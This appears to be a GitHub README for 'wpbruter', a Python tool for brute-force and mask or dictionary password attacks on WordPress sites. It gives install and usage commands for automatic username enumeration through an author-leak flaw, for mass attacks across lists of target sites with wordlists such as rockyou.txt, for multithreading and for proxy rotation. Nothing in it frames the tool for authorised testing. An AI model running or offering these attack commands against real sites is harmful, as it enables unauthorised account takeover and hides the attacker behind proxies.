naster17 / wpbruter

Tool for mask and dictionary attacks on Word Press (support proxy)

wpbruter

Tool for Massive mask and dictionary attacks, auto recognize, proxy, threads and other cool features for Word Press

Install:

git clone https://github.com/Naster17/wpbruter/

Combination cases:

Auto attack users on site using wordlist
python main.py --target https://site.com --wpassword rockyou.txt --auto
Tries the password and users on all sites in the list
python main.py --wtarget sites.txt --user admin --password admin123 --thread 5
Uses user and password dictionaries on one site
python main.py --target site.com --wusers users.txt --wpassword passwords.txt
Mass bruteforce
python main.py --wtarget sites.txt --wusers users.txt --wpassword passwords.txt

Cool features:

• Can exploit "Username leakage vulnerability"
• Written in pure Python, no dependencies need to be installed
  
• Multithreaded
• A large number of attack combinations

Docs

--auto Automatically recognizes available usernames by exploiting vulnerabilities in wp (author leak)
--cheatsheet Help with mask attacks

LOWER:         USER -> user
TITLE:         user -> User
REVERSE:       user -> resu
UPPER-REVERSE: user -> RESU
LOWER-REVERSE: USER -> resu
TITLE-REVERSE: user -> resU

MINUS[1-9]:    1: user -> ser
               2: user -> er
               3: user -> r
               ...

Main param:

--target URL to attack site example: https://mysite.com
--wtarget wordlist file with list of URLs
--mask Mask rule for passwords use --cheatsheet for more info
--site-mask Mask rule for site names use --cheatsheet for more info

Creds param:

--username Static one username example: admin
--wusers wordlist with user names
--password Static password example: admin123
--wpassword wordlist with passwords

Other param:

--timeout timed out for requests in sec example: 1
--thread numbers of threading example: 4
--proxy example: 127.0.0.1:8080 auto detect proxy type (http, https supports)
--proxy-list wordlist with proxy